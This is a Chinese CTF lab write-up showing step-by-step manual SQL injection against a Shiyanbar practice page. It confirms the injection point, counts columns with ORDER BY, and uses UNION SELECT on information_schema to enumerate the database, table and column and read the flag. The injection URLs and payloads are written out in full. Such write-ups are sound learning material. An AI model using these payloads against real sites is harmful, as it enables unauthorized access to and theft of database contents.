实验吧 sql注入

本文通过一个具体的实例演示了如何进行SQL注入攻击,从判断是否存在注入点开始,逐步查询出数据库名、表名及列名,并最终获取到了所需的数据。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目链接:http://ctf5.shiyanbar.com/8/index.php?id=1 在这里插入图片描述

手动注入

  1. 判断是否存在sql注入
    ctf5.shiyanbar.com/8/index.php?id=1' 报错
    在这里插入图片描述
    ctf5.shiyanbar.com/8/index.php?id=1 and 1=1 正常打开
    在这里插入图片描述 ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 正常打开在这里插入图片描述
    存在sql注入

  2. 判断POC
    http://ctf5.shiyanbar.com/8/index.php?id=1 or 1=1
    在这里插入图片描述

  3. 查询字段数
    http://ctf5.shiyanbar.com/8/index.php?id=1 order by 1 正常显示在这里插入图片描述
    http://ctf5.shiyanbar.com/8/index.php?id=1 order by 2 正常显示在这里插入图片描述 http://ctf5.shiyanbar.com/8/index.php?id=1 order by 3 报错在这里插入图片描述
    字段数为2

  4. 查询数据库
    union select schema_name form information_schema where 1 = 1
    http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,schema_name from information_schema.schemata limit 0,2 在这里插入图片描述
    查到数据库 my_db

  5. 查询数据表
    http://ctf5.shiyanbar.com/8/index.php?id=1 union select table_schema,table_name from information_schema.tables
    在这里插入图片描述
    查到数据表 thiskey

  6. 查询表
    http://ctf5.shiyanbar.com/8/index.php?id=1 union select table_name,column_name from information_schema.columns在这里插入图片描述
    查到表 k0y

  7. 读取值
    http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,k0y from thiskey
    在这里插入图片描述

    读到值 whatiMyD91dump

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值